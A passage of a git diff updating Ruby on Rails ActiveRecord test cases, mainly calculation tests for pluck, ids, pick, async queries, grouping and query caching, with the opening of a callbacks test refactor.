+    assert_equal Edge.where("sink_id < 5").count(:all), edges.where("sink_id < 5").count(:all)
   end
 
   def test_from_option_with_table_different_than_class
@@ -561,19 +869,35 @@ def test_from_option_with_table_different_than_class
   def test_distinct_is_honored_when_used_with_count_operation_after_group
     # Count the number of authors for approved topics
     approved_topics_count = Topic.group(:approved).count(:author_name)[true]
-    assert_equal approved_topics_count, 4
+    assert_equal 4, approved_topics_count
     # Count the number of distinct authors for approved Topics
     distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
-    assert_equal distinct_authors_for_approved_count, 3
+    assert_equal 3, distinct_authors_for_approved_count
   end
 
   def test_pluck
     assert_equal [1, 2, 3, 4, 5], Topic.order(:id).pluck(:id)
+    assert_async_equal [1, 2, 3, 4, 5], Topic.order(:id).async_pluck(:id)
+  end
+
+  def test_async_pluck_on_loaded_relation
+    relation = Topic.order(:id).load
+    assert_async_equal relation.pluck(:id), relation.async_pluck(:id)
+  end
+
+  def test_async_pluck_none_relation
+    assert_async_equal [], Topic.none.async_pluck(:id)
+  end
+
+  def test_pluck_with_empty_in
+    assert_queries_count(0) do
+      assert_equal [], Topic.where(id: []).pluck(:id)
+    end
+    assert_async_equal [], Topic.where(id: []).async_pluck(:id)
   end
 
   def test_pluck_without_column_names
-    assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, ""]],
-      Company.order(:id).limit(1).pluck
+    assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, "", "active"]], Company.order(:id).limit(1).pluck
   end
 
   def test_pluck_type_cast
@@ -582,6 +906,61 @@ def test_pluck_type_cast
     assert_equal [ topic.approved ], relation.pluck(:approved)
     assert_equal [ topic.last_read ], relation.pluck(:last_read)
     assert_equal [ topic.written_on ], relation.pluck(:written_on)
+    assert_equal(
+      [[topic.written_on, topic.replies_count]],
+      relation.pluck("min(written_on)", "min(replies_count)")
+    )
+  end
+
+  def test_pluck_type_cast_with_conflict_column_names
+    expected = [
+      [Date.new(2004, 4, 15), "unread"],
+      [Date.new(2004, 4, 15), "reading"],
+      [Date.new(2004, 4, 15), "read"],
+    ]
+    actual = AuthorAddress.joins(author: [:topics, :books]).order(:"books.last_read")
+      .where("books.last_read": [:unread, :reading, :read])
+      .pluck(:"topics.last_read", :"books.last_read")
+
+    assert_equal expected, actual
+  end
+
+  def test_pluck_type_cast_with_joins_without_table_name_qualified_column
+    assert_pluck_type_cast_without_table_name_qualified_column(AuthorAddress.joins(author: :books))
+  end
+
+  def test_pluck_type_cast_with_left_joins_without_table_name_qualified_column
+    assert_pluck_type_cast_without_table_name_qualified_column(AuthorAddress.left_joins(author: :books))
+  end
+
+  def test_pluck_type_cast_with_eager_load_without_table_name_qualified_column
+    assert_pluck_type_cast_without_table_name_qualified_column(AuthorAddress.eager_load(author: :books))
+  end
+
+  def assert_pluck_type_cast_without_table_name_qualified_column(author_addresses)
+    expected = [
+      [nil, "unread"],
+      ["ebook", "reading"],
+      ["paperback", "read"],
+    ]
+    actual = author_addresses.order(:last_read)
+      .where("books.last_read": [:unread, :reading, :read])
+      .pluck(:format, :last_read)
+
+    assert_equal expected, actual
+  end
+  private :assert_pluck_type_cast_without_table_name_qualified_column
+
+  def test_pluck_with_type_cast_does_not_corrupt_the_query_cache
+    topic = topics(:first)
+    relation = Topic.where(id: topic.id)
+    assert_queries_count 1 do
+      Topic.cache do
+        kind = relation.select(:written_on).load.first.read_attribute_before_type_cast(:written_on).class
+        relation.pluck(:written_on)
+        assert_kind_of kind, relation.select(:written_on).load.first.read_attribute_before_type_cast(:written_on)
+      end
+    end
   end
 
   def test_pluck_and_distinct
@@ -599,8 +978,8 @@ def test_pluck_on_aliased_attribute
   end
 
   def test_pluck_with_serialization
-    t = Topic.create!(content: { foo: :bar })
-    assert_equal [{ foo: :bar }], Topic.where(id: t.id).pluck(:content)
+    t = Topic.create!(content: { "foo" => "bar" })
+    assert_equal [{ "foo" => "bar" }], Topic.where(id: t.id).pluck(:content)
   end
 
   def test_pluck_with_qualified_column_name
@@ -618,23 +997,184 @@ def test_pluck_if_table_included
   end
 
   def test_pluck_not_auto_table_name_prefix_if_column_joined
-    Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
-    assert_equal [7], Company.joins(:contracts).pluck(:developer_id)
+    company = Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
+    metadata = company.contracts.first.metadata
+    assert_equal [metadata], Company.joins(:contracts).pluck(:metadata)
   end
 
   def test_pluck_with_selection_clause
-    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT credit_limit").sort
-    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT accounts.credit_limit").sort
-    assert_equal [50, 53, 55, 60], Account.pluck("DISTINCT(credit_limit)").sort
+    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql("DISTINCT credit_limit")).sort
+    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql("DISTINCT accounts.credit_limit")).sort
+    assert_equal [50, 53, 55, 60], Account.pluck(Arel.sql("DISTINCT(credit_limit)")).sort
+    assert_equal [50 + 53 + 55 + 60], Account.pluck(Arel.sql("SUM(DISTINCT(credit_limit))"))
+  end
+
+  def test_pluck_with_hash_argument
+    expected = [
+      [1, "The First Topic"],
+      [2, "The Second Topic of the day"],
+      [3, "The Third Topic of the day"]
+    ]
+    assert_equal expected, Topic.order(:id).limit(3).pluck(:id, topics: :title)
+    assert_equal expected, Topic.order(:id).limit(3).pluck("id", "topics" => "title")
+    assert_equal expected, Topic.order(:id).limit(3).pluck(:id, topics: [:title])
+    assert_equal expected, Topic.order(:id).limit(3).pluck("id", "topics" => ["title"])
+  end
+
+  def test_pluck_with_hash_argument_with_multiple_tables
+    expected = [
+      [1, 1, "Thank you for the welcome"],
+      [1, 2, "Thank you again for the welcome"],
+      [2, 3, "Don't think too hard"]
+    ]
+    assert_equal expected, Post.joins(:comments).order(posts: { id: :asc }, comments: { id: :asc }).limit(3).pluck(:id, comments: [:id, :body])
+    assert_equal expected, Post.joins(:comments).order(posts: { id: :asc }, comments: { id: :asc }).limit(3).pluck(posts: :id, comments: [:id, :body])
+    assert_equal expected, Post.joins(:comments).order(posts: { id: :asc }, comments: { id: :asc }).limit(3).pluck(posts: [:id], comments: [:id, :body])
+  end
+
+  def test_pluck_with_hash_argument_containing_non_existent_field
+    assert_raises(ActiveRecord::StatementInvalid) do
+      Topic.pluck(topics: [:non_existent])
+    end
+  end
+
+  def test_ids
+    assert_equal Company.all.map(&:id).sort, Company.all.ids.sort
+  end
+
+  def test_ids_for_a_composite_primary_key
+    assert_equal Cpk::Book.all.map(&:id).sort, Cpk::Book.all.ids.sort
+  end
+
+  def test_pluck_for_a_composite_primary_key
+    assert_equal Cpk::Book.all.pluck([:author_id, :id]).sort, Cpk::Book.all.ids.sort
+  end
+
+  def test_ids_for_a_composite_primary_key_with_scope
+    book = cpk_books(:cpk_great_author_first_book)
+
+    assert_equal [book.id], Cpk::Book.all.where(title: book.title).ids
+  end
+
+  def test_ids_for_a_composite_primary_key_on_loaded_relation
+    book = cpk_books(:cpk_great_author_first_book)
+    relation = Cpk::Book.where(title: book.title)
+    relation.to_a
+
+    assert_predicate relation, :loaded?
+    assert_equal [book.id], relation.ids
+  end
+
+  def test_ids_with_scope
+    scoped_ids = [1, 2]
+    assert_equal Company.where(id: scoped_ids).map(&:id).sort, Company.where(id: scoped_ids).ids.sort
+  end
+
+  def test_ids_on_relation
+    company = Company.first
+    contract = company.contracts.create!
+    assert_equal [contract.id], company.contracts.ids
+  end
+
+  def test_ids_on_loaded_relation
+    loaded_companies = Company.all.load
+    company_ids = Company.all.map(&:id)
+    assert_queries_count(0) do
+      assert_equal company_ids.sort, loaded_companies.ids.sort
+    end
+  end
+
+  def test_ids_on_loaded_relation_with_scope
+    scoped_ids = [1, 2]
+    loaded_companies = Company.where(id: scoped_ids).load
+    company_ids = Company.where(id: scoped_ids).map(&:id)
+    assert_queries_count(0) do
+      assert_equal company_ids.sort, loaded_companies.ids.sort
+    end
+  end
+
+  def test_ids_async_on_loaded_relation
+    loaded_companies = Company.all.order(:id).load
+    assert_async_equal loaded_companies.ids, loaded_companies.async_ids
+  end
+
+  def test_ids_with_contradicting_scope
+    empty_scope_ids = []
+    company_ids = Company.where(id: empty_scope_ids).map(&:id)
+    assert_predicate company_ids, :empty?
+    assert_queries_count(0) do
+      assert_equal company_ids, Company.where(id: empty_scope_ids).ids
+    end
+  end
+
+  def test_ids_with_join
+    company = Company.first
+    company.contracts.create!
+    assert_equal [company.id], Company.joins(:contracts).where("contracts.id" => company.contracts.first).ids
+  end
+
+  def test_ids_with_polymorphic_relation_join
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal [part.id], ShipPart.joins(:trinkets).ids
+    assert_async_equal [part.id], ShipPart.joins(:trinkets).async_ids
+  end
+
+  def test_ids_with_eager_load
+    company = Company.first
+    5.times { company.contracts.create! }
+    assert_equal Company.all.map(&:id).sort, Company.all.eager_load(:contracts).ids.sort
+  end
+
+  def test_ids_with_preload
+    company = Company.first
+    5.times { company.contracts.create! }
+    assert_equal Company.all.map(&:id).sort, Company.all.preload(:contracts).ids.sort
+  end
+
+  def test_ids_with_includes
+    company = Company.first
+    5.times { company.contracts.create! }
+    assert_equal Company.all.map(&:id).sort, Company.all.includes(:contracts).ids.sort
+  end
+
+  def test_ids_with_includes_and_non_primary_key_order
+    rating = 1
+    Company.all.each { |company| company.update!(rating: rating += 1) }
+    assert_equal Company.all.sort_by(&:rating).map(&:id), Company.includes(:comments).order(:rating).ids
+  end
+
+  def test_ids_with_includes_and_scope
+    scoped_ids = [1, 2]
+    company = Company.where(id: scoped_ids).first
+    5.times { company.contracts.create! }
+    assert_equal Company.where(id: scoped_ids).map(&:id).sort, Company.includes(:contracts).where(id: scoped_ids).ids.sort
+  end
 
-    # MySQL returns "SUM(DISTINCT(credit_limit))" as the column name unless
-    # an alias is provided.  Without the alias, the column cannot be found
-    # and properly typecast.
-    assert_equal [50 + 53 + 55 + 60], Account.pluck("SUM(DISTINCT(credit_limit)) as credit_limit")
+  def test_ids_with_includes_and_table_scope
+    company = Company.first
+    company.contracts.create!
+    assert_equal [company.id], Company.includes(:contracts).where("contracts.id" => company.contracts.first).ids
   end
 
-  def test_plucks_with_ids
-    assert_equal Company.all.map(&:id).sort, Company.ids.sort
+  def test_ids_on_loaded_relation_with_includes_and_table_scope
+    company = Company.first
+    company.contracts.create!
+    loaded_companies = Company.includes(:contracts).where("contracts.id" => company.contracts.first).load
+    assert_queries_count(0) do
+      assert_equal [company.id], loaded_companies.ids
+    end
+  end
+
+  def test_ids_with_includes_limit_and_empty_result
+    assert_equal [], Topic.includes(:replies).limit(0).ids
+    assert_equal [], Topic.includes(:replies).limit(1).where("0 = 1").ids
+  end
+
+  def test_ids_with_includes_offset
+    assert_equal [5], Topic.includes(:replies).order(:id).offset(4).ids
+    assert_equal [], Topic.includes(:replies).order(:id).offset(5).ids
   end
 
   def test_pluck_with_includes_limit_and_empty_result
@@ -642,6 +1182,53 @@ def test_pluck_with_includes_limit_and_empty_result
     assert_equal [], Topic.includes(:replies).limit(1).where("0 = 1").pluck(:id)
   end
 
+  def test_pluck_with_includes_offset
+    assert_equal [5], Topic.includes(:replies).order(:id).offset(4).pluck(:id)
+    assert_equal [], Topic.includes(:replies).order(:id).offset(5).pluck(:id)
+  end
+
+  def test_pluck_with_join
+    assert_equal [[2, 2], [4, 4]], Reply.includes(:topic).order(:id).pluck(:id, topics: [:id])
+    assert_equal [[2, 2], [4, 4]], Reply.includes(:topic).order(:id).pluck(:id, topics: :id)
+    assert_equal [[2, 2], [4, 4]], Reply.includes(:topic).order(:id).pluck(:id, :"topics.id")
+  end
+
+  def test_pluck_with_join_alias
+    assert_equal [[2, 1], [4, 3]], Reply.includes(:topic).order(:id).pluck(:id, topic: [:id])
+    assert_equal [[2, 1], [4, 3]], Reply.includes(:topic).order(:id).pluck(:id, topic: :id)
+    assert_equal [[2, 1], [4, 3]], Reply.includes(:topic).order(:id).pluck(:id, :"topic.id")
+  end
+
+  def test_group_by_with_order_by_virtual_count_attribute
+    expected = { "SpecialPost" => 1, "StiPost" => 2 }
+    actual = Post.group(:type).order(:count).limit(2).maximum(:comments_count)
+    assert_equal expected, actual
+  end if current_adapter?(:PostgreSQLAdapter)
+
+  def test_group_by_with_limit
+    expected = { "StiPost" => 3, "SpecialPost" => 1 }
+    actual = Post.includes(:comments).group(:type).order(type: :desc).limit(2).count("comments.id")
+    assert_equal expected, actual
+  end
+
+  def test_group_by_with_offset
+    expected = { "SpecialPost" => 1, "Post" => 8 }
+    actual = Post.includes(:comments).group(:type).order(type: :desc).offset(1).count("comments.id")
+    assert_equal expected, actual
+  end
+
+  def test_group_by_with_limit_and_offset
+    expected = { "SpecialPost" => 1 }
+    actual = Post.includes(:comments).group(:type).order(type: :desc).offset(1).limit(1).count("comments.id")
+    assert_equal expected, actual
+  end
+
+  def test_group_by_with_quoted_count_and_order_by_alias
+    expected = { "SpecialPost" => 1, "StiPost" => 1, "Post" => 9 }
+    actual = Post.group(:type).order("count_posts_id").count(quote_table_name("posts.id"))
+    assert_equal expected, actual
+  end
+
   def test_pluck_not_auto_table_name_prefix_if_column_included
     Company.create!(name: "test", contracts: [Contract.new(developer_id: 7)])
     ids = Company.includes(:contracts).pluck(:developer_id)
@@ -664,7 +1251,12 @@ def test_pluck_multiple_columns
 
   def test_pluck_with_multiple_columns_and_selection_clause
     assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
-      Account.pluck("id, credit_limit")
+      Account.order(:id).pluck("id, credit_limit")
+  end
+
+  def test_pluck_with_line_endings
+    assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
+      Account.order(:id).pluck("id, credit_limit\n")
   end
 
   def test_pluck_with_multiple_columns_and_includes
@@ -683,23 +1275,74 @@ def test_pluck_with_reserved_words
   end
 
   def test_pluck_replaces_select_clause
-    taks_relation = Topic.select(:approved, :id).order(:id)
-    assert_equal [1, 2, 3, 4, 5], taks_relation.pluck(:id)
-    assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
+    takes_relation = Topic.select(:approved, :id).order(:id)
+    assert_equal [1, 2, 3, 4, 5], takes_relation.pluck(:id)
+    assert_equal [false, true, true, true, true], takes_relation.pluck(:approved)
+  end
+
+  def test_pluck_with_qualified_name_on_loaded
+    topics = Topic.joins(:replies).order(:id)
+
+    assert_not_predicate topics, :loaded?
+    assert_equal [[1, 2], [3, 4]], topics.pluck("topics.id", "replies.id")
+
+    topics.load
+
+    assert_predicate topics, :loaded?
+    assert_equal [[1, 2], [3, 4]], topics.pluck("topics.id", "replies.id")
   end
 
   def test_pluck_columns_with_same_name
     expected = [["The First Topic", "The Second Topic of the day"], ["The Third Topic of the day", "The Fourth Topic of the day"]]
-    actual = Topic.joins(:replies)
+    actual = Topic.joins(:replies).order(:id)
       .pluck("topics.title", "replies_topics.title")
     assert_equal expected, actual
   end
 
+  def test_pluck_functions_with_alias
+    assert_equal [
+      [1, "The First Topic"], [2, "The Second Topic of the day"],
+      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+      [5, "The Fifth Topic of the day"]
+    ], Topic.order(:id).pluck(
+      Arel.sql("COALESCE(id, 0) id"),
+      Arel.sql("COALESCE(title, 'untitled') title")
+    )
+  end
+
+  def test_pluck_functions_without_alias
+    expected = [
+      [1, "The First Topic"],
+      [2, "The Second Topic of the day"],
+      [3, "The Third Topic of the day"],
+      [4, "The Fourth Topic of the day"],
+      [5, "The Fifth Topic of the day"]
+    ]
+
+    assert_equal expected, Topic.order(:id).pluck(
+      Arel.sql("COALESCE(id, 0)"),
+      Arel.sql("COALESCE(title, 'untitled')")
+    )
+  end
+
   def test_calculation_with_polymorphic_relation
     part = ShipPart.create!(name: "has trinket")
     part.trinkets.create!
 
     assert_equal part.id, ShipPart.joins(:trinkets).sum(:id)
+    assert_async_equal part.id, ShipPart.joins(:trinkets).async_sum(:id)
+  end
+
+  def test_calculation_with_query_cache
+    ShipPart.cache do
+      count = ShipPart.count
+      assert_async_equal count, ShipPart.async_count
+    end
+
+    ShipPart.cache do
+      count = ShipPart.async_count
+      assert_async_equal count.value, ShipPart.async_count
+    end
   end
 
   def test_pluck_joined_with_polymorphic_relation
@@ -707,26 +1350,95 @@ def test_pluck_joined_with_polymorphic_relation
     part.trinkets.create!
 
     assert_equal [part.id], ShipPart.joins(:trinkets).pluck(:id)
+    assert_async_equal [part.id], ShipPart.joins(:trinkets).async_pluck(:id)
   end
 
   def test_pluck_loaded_relation
     companies = Company.order(:id).limit(3).load
-    assert_no_queries do
+
+    assert_queries_count(0) do
       assert_equal ["37signals", "Summit", "Microsoft"], companies.pluck(:name)
     end
   end
 
   def test_pluck_loaded_relation_multiple_columns
     companies = Company.order(:id).limit(3).load
-    assert_no_queries do
+
+    assert_queries_count(0) do
       assert_equal [[1, "37signals"], [2, "Summit"], [3, "Microsoft"]], companies.pluck(:id, :name)
     end
   end
 
   def test_pluck_loaded_relation_sql_fragment
     companies = Company.order(:name).limit(3).load
-    assert_queries 1 do
-      assert_equal ["37signals", "Apex", "Ex Nihilo"], companies.pluck("DISTINCT name")
+
+    assert_queries_count(1) do
+      assert_equal ["37signals", "Apex", "Ex Nihilo"], companies.pluck(Arel.sql("DISTINCT name"))
+    end
+  end
+
+  def test_pluck_loaded_relation_aliased_attribute
+    companies = Company.order(:id).limit(3).load
+
+    assert_queries_count(0) do
+      assert_equal ["37signals", "Summit", "Microsoft"], companies.pluck(:new_name)
+    end
+  end
+
+  def test_pick_one
+    assert_equal "The First Topic", Topic.order(:id).pick(:heading)
+    assert_no_queries do
+      assert_nil Topic.none.pick(:heading)
+      assert_nil Topic.where(id: 9999999999999999999).pick(:heading)
+    end
+
+    assert_async_equal "The First Topic", Topic.order(:id).async_pick(:heading)
+  end
+
+  def test_pick_two
+    assert_equal ["David", "david@loudthinking.com"], Topic.order(:id).pick(:author_name, :author_email_address)
+    assert_no_queries do
+      assert_nil Topic.none.pick(:author_name, :author_email_address)
+      assert_nil Topic.where(id: 9999999999999999999).pick(:author_name, :author_email_address)
+    end
+
+    assert_async_equal ["David", "david@loudthinking.com"], Topic.order(:id).async_pick(:author_name, :author_email_address)
+  end
+
+  def test_pick_delegate_to_all
+    cool_first = minivans(:cool_first)
+    assert_equal cool_first.color, Minivan.pick(:color)
+  end
+
+  def test_pick_loaded_relation
+    companies = Company.order(:id).limit(3).load
+
+    assert_no_queries do
+      assert_equal "37signals", companies.pick(:name)
+    end
+  end
+
+  def test_pick_loaded_relation_multiple_columns
+    companies = Company.order(:id).limit(3).load
+
+    assert_no_queries do
+      assert_equal [1, "37signals"], companies.pick(:id, :name)
+    end
+  end
+
+  def test_pick_loaded_relation_sql_fragment
+    companies = Company.order(:name).limit(3).load
+
+    assert_queries_count 1 do
+      assert_equal "37signals", companies.pick(Arel.sql("DISTINCT name"))
+    end
+  end
+
+  def test_pick_loaded_relation_aliased_attribute
+    companies = Company.order(:id).limit(3).load
+
+    assert_no_queries do
+      assert_equal "37signals", companies.pick(:new_name)
     end
   end
 
@@ -760,26 +1472,7 @@ def test_sum_uses_enumerable_version_when_block_is_given
   end
 
   def test_having_with_strong_parameters
-    protected_params = Class.new do
-      attr_reader :permitted
-      alias :permitted? :permitted
-
-      def initialize(parameters)
-        @parameters = parameters
-        @permitted = false
-      end
-
-      def to_h
-        @parameters
-      end
-
-      def permit!
-        @permitted = true
-        self
-      end
-    end
-
-    params = protected_params.new(credit_limit: "50")
+    params = ProtectedParams.new(credit_limit: "50")
 
     assert_raises(ActiveModel::ForbiddenAttributesError) do
       Account.group(:id).having(params)
@@ -791,7 +1484,270 @@ def permit!
     assert_equal 50, result[2].credit_limit
   end
 
+  def test_count_takes_attribute_type_precedence_over_database_type
+    assert_called(
+      Account.lease_connection, :select_all,
+      returns: ActiveRecord::Result.new(["count"], [["10"]])
+    ) do
+      result = Account.count
+      assert_equal 10, result
+      assert_instance_of Integer, result
+    end
+  end
+
+  def test_sum_takes_attribute_type_precedence_over_database_type
+    assert_called(
+      Account.lease_connection, :select_all,
+      returns: ActiveRecord::Result.new(["sum"], [[10.to_d]])
+    ) do
+      result = Account.sum(:credit_limit)
+      assert_equal 10, result
+      assert_instance_of Integer, result
+    end
+  end
+
   def test_group_by_attribute_with_custom_type
     assert_equal({ "proposed" => 2, "published" => 2 }, Book.group(:status).count)
   end
+
+  def test_aggregate_attribute_on_enum_type
+    assert_equal 4, Book.sum(:status)
+    assert_equal 1, Book.sum(:difficulty)
+    assert_equal 0, Book.minimum(:difficulty)
+    assert_equal 1, Book.maximum(:difficulty)
+    assert_equal({ "proposed" => 0, "published" => 4 }, Book.group(:status).sum(:status))
+    assert_equal({ "proposed" => 0, "published" => 1 }, Book.group(:status).sum(:difficulty))
+    assert_equal({ "proposed" => 0, "published" => 0 }, Book.group(:status).minimum(:difficulty))
+    assert_equal({ "proposed" => 0, "published" => 1 }, Book.group(:status).maximum(:difficulty))
+  end
+
+  def test_minimum_and_maximum_on_non_numeric_type
+    assert_equal Date.new(2004, 4, 15), Topic.minimum(:last_read)
+    assert_equal Date.new(2004, 4, 15), Topic.maximum(:last_read)
+    assert_equal({ false => Date.new(2004, 4, 15), true => nil }, Topic.group(:approved).minimum(:last_read))
+    assert_equal({ false => Date.new(2004, 4, 15), true => nil }, Topic.group(:approved).maximum(:last_read))
+  end
+
+  def test_minimum_and_maximum_on_time_attributes
+    assert_minimum_and_maximum_on_time_attributes(Time)
+  end
+
+  def test_minimum_and_maximum_on_tz_aware_attributes
+    with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+      Topic.reset_column_information
+      assert_minimum_and_maximum_on_time_attributes(ActiveSupport::TimeWithZone)
+    end
+  ensure
+    Topic.reset_column_information
+  end
+
+  def assert_minimum_and_maximum_on_time_attributes(time_class)
+    actual = Topic.minimum(:written_on)
+    assert_equal Time.utc(2003, 7, 16, 14, 28, 11, 223300), actual
+    assert_instance_of time_class, actual
+
+    actual = Topic.maximum(:written_on)
+    assert_equal Time.utc(2013, 7, 13, 11, 11, 0, 9900), actual
+    assert_instance_of time_class, actual
+
+    expected = {
+      false => Time.utc(2003, 7, 16, 14, 28, 11, 223300),
+      true => Time.utc(2004, 7, 15, 14, 28, 0, 9900),
+    }
+    actual = Topic.group(:approved).minimum(:written_on)
+    assert_equal expected, actual
+    assert_instance_of time_class, actual[true]
+    assert_instance_of time_class, actual[true]
+
+    expected = {
+      false => Time.utc(2003, 7, 16, 14, 28, 11, 223300),
+      true => Time.utc(2013, 7, 13, 11, 11, 0, 9900),
+    }
+    actual = Topic.group(:approved).maximum(:written_on)
+    assert_equal expected, actual
+    assert_instance_of time_class, actual[true]
+    assert_instance_of time_class, actual[true]
+
+    assert_minimum_and_maximum_on_time_attributes_joins_with_column(time_class, :"topics.written_on")
+    assert_minimum_and_maximum_on_time_attributes_joins_with_column(time_class, :written_on)
+  end
+  private :assert_minimum_and_maximum_on_time_attributes
+
+  def assert_minimum_and_maximum_on_time_attributes_joins_with_column(time_class, column)
+    actual = Author.joins(:topics).maximum(column)
+    assert_equal Time.utc(2004, 7, 15, 14, 28, 0, 9900), actual
+    assert_instance_of time_class, actual
+
+    actual = Author.joins(:topics).minimum(column)
+    assert_equal Time.utc(2003, 7, 16, 14, 28, 11, 223300), actual
+    assert_instance_of time_class, actual
+
+    expected = {
+      1 => Time.utc(2003, 7, 16, 14, 28, 11, 223300),
+      2 => Time.utc(2004, 7, 15, 14, 28, 0, 9900),
+    }
+
+    actual = Author.joins(:topics).group(:id).maximum(column)
+    assert_equal expected, actual
+    assert_instance_of time_class, actual[1]
+    assert_instance_of time_class, actual[2]
+
+    actual = Author.joins(:topics).group(:id).minimum(column)
+    assert_equal expected, actual
+    assert_instance_of time_class, actual[1]
+    assert_instance_of time_class, actual[2]
+  end
+  private :assert_minimum_and_maximum_on_time_attributes_joins_with_column
+
+  def test_select_avg_with_group_by_as_virtual_attribute_with_sql
+    rails_core = companies(:rails_core)
+
+    sql = <<~SQL
+      SELECT firm_id, AVG(credit_limit) AS avg_credit_limit
+      FROM accounts
+      WHERE firm_id = ?
+      GROUP BY firm_id
+      LIMIT 1
+    SQL
+
+    account = Account.find_by_sql([sql, rails_core]).first
+
+    # id was not selected, so it should be nil
+    # (cannot select id because it wasn't used in the GROUP BY clause)
+    assert_nil account.id
+
+    # firm_id was explicitly selected, so it should be present
+    assert_equal(rails_core, account.firm)
+
+    # avg_credit_limit should be present as a virtual attribute
+    assert_equal(52.5, account.avg_credit_limit)
+  end
+
+  def test_select_avg_with_group_by_as_virtual_attribute_with_ar
+    rails_core = companies(:rails_core)
+
+    account = Account
+      .select(:firm_id, "AVG(credit_limit) AS avg_credit_limit")
+      .where(firm: rails_core)
+      .group(:firm_id)
+      .take!
+
+    # id was not selected, so it should be nil
+    # (cannot select id because it wasn't used in the GROUP BY clause)
+    assert_nil account.id
+
+    # firm_id was explicitly selected, so it should be present
+    assert_equal(rails_core, account.firm)
+
+    # avg_credit_limit should be present as a virtual attribute
+    assert_equal(52.5, account.avg_credit_limit)
+  end
+
+  def test_select_avg_with_joins_and_group_by_as_virtual_attribute_with_sql
+    rails_core = companies(:rails_core)
+
+    sql = <<~SQL
+      SELECT companies.*, AVG(accounts.credit_limit) AS avg_credit_limit
+      FROM companies
+      INNER JOIN accounts ON companies.id = accounts.firm_id
+      WHERE companies.id = ?
+      GROUP BY companies.id
+      LIMIT 1
+    SQL
+
+    firm = DependentFirm.find_by_sql([sql, rails_core]).first
+
+    # all the DependentFirm attributes should be present
+    assert_equal rails_core, firm
+    assert_equal rails_core.name, firm.name
+
+    # avg_credit_limit should be present as a virtual attribute
+    assert_equal(52.5, firm.avg_credit_limit)
+  end
+
+  def test_select_avg_with_joins_and_group_by_as_virtual_attribute_with_ar
+    rails_core = companies(:rails_core)
+
+    firm = DependentFirm
+      .select("companies.*", "AVG(accounts.credit_limit) AS avg_credit_limit")
+      .where(id: rails_core)
+      .joins(:account)
+      .group(:id)
+      .take!
+
+    # all the DependentFirm attributes should be present
+    assert_equal rails_core, firm
+    assert_equal rails_core.name, firm.name
+
+    # avg_credit_limit should be present as a virtual attribute
+    assert_equal(52.5, firm.avg_credit_limit)
+  end
+
+  def test_count_with_block_and_column_name_raises_an_error
+    assert_raises(ArgumentError) do
+      Account.count(:firm_id) { true }
+    end
+  end
+
+  test "#skip_query_cache! for #pluck" do
+    Account.cache do
+      assert_queries_count(1) do
+        Account.pluck(:credit_limit)
+        Account.pluck(:credit_limit)
+      end
+
+      assert_queries_count(2) do
+        Account.all.skip_query_cache!.pluck(:credit_limit)
+        Account.all.skip_query_cache!.pluck(:credit_limit)
+      end
+    end
+  end
+
+  test "#skip_query_cache! for #ids" do
+    Account.cache do
+      assert_queries_count(1) do
+        Account.ids
+        Account.ids
+      end
+
+      assert_queries_count(2) do
+        Account.all.skip_query_cache!.ids
+        Account.all.skip_query_cache!.ids
+      end
+    end
+  end
+
+  test "#skip_query_cache! for a simple calculation" do
+    Account.cache do
+      assert_queries_count(1) do
+        Account.calculate(:sum, :credit_limit)
+        Account.calculate(:sum, :credit_limit)
+      end
+
+      assert_queries_count(2) do
+        Account.all.skip_query_cache!.calculate(:sum, :credit_limit)
+        Account.all.skip_query_cache!.calculate(:sum, :credit_limit)
+      end
+    end
+  end
+
+  test "#skip_query_cache! for a grouped calculation" do
+    Account.cache do
+      assert_queries_count(1) do
+        Account.group(:firm_id).calculate(:sum, :credit_limit)
+        Account.group(:firm_id).calculate(:sum, :credit_limit)
+      end
+
+      assert_queries_count(2) do
+        Account.all.skip_query_cache!.group(:firm_id).calculate(:sum, :credit_limit)
+        Account.all.skip_query_cache!.group(:firm_id).calculate(:sum, :credit_limit)
+      end
+    end
+  end
+
+  test "group alias is properly quoted" do
+    assert_nothing_raised do
+      NeedQuoting.group(:name).count
+    end
+  end
 end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index b3c86586d01d1..18857b214923b 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/developer"
 require "models/computer"
@@ -19,7 +21,7 @@ def define_callback_method(callback_method)
 
     def callback_object(callback_method)
       klass = Class.new
-      klass.send(:define_method, callback_method) do |model|
+      klass.define_method(callback_method) do |model|
         model.history << [callback_method, :object]
       end
       klass.new
@@ -27,7 +29,7 @@ def callback_object(callback_method)
   end
 
   ActiveRecord::Callbacks::CALLBACKS.each do |callback_method|
-    next if callback_method.to_s.start_with?("around_")
+    next if callback_method.start_with?("around_")
     define_callback_method(callback_method)
     send(callback_method, callback_proc(callback_method))
     send(callback_method, callback_object(callback_method))
@@ -383,60 +385,60 @@ def test_delete
   end
 
   def assert_save_callbacks_not_called(someone)
-    assert !someone.after_save_called
-    assert !someone.after_create_called
-    assert !someone.after_update_called
+    assert_not someone.after_save_called
+    assert_not someone.after_create_called
+    assert_not someone.after_update_called
   end
   private :assert_save_callbacks_not_called
 
   def test_before_create_throwing_abort
     someone = CallbackHaltedDeveloper.new
     someone.cancel_before_create = true
-    assert someone.valid?
-    assert !someone.save
+    assert_predicate someone, :valid?
+    assert_not someone.save
     assert_save_callbacks_not_called(someone)
   end
 
   def test_before_save_throwing_abort
     david = DeveloperWithCanceledCallbacks.find(1)
-    assert david.valid?
-    assert !david.save
+    assert_predicate david, :valid?
+    assert_not david.save
     exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
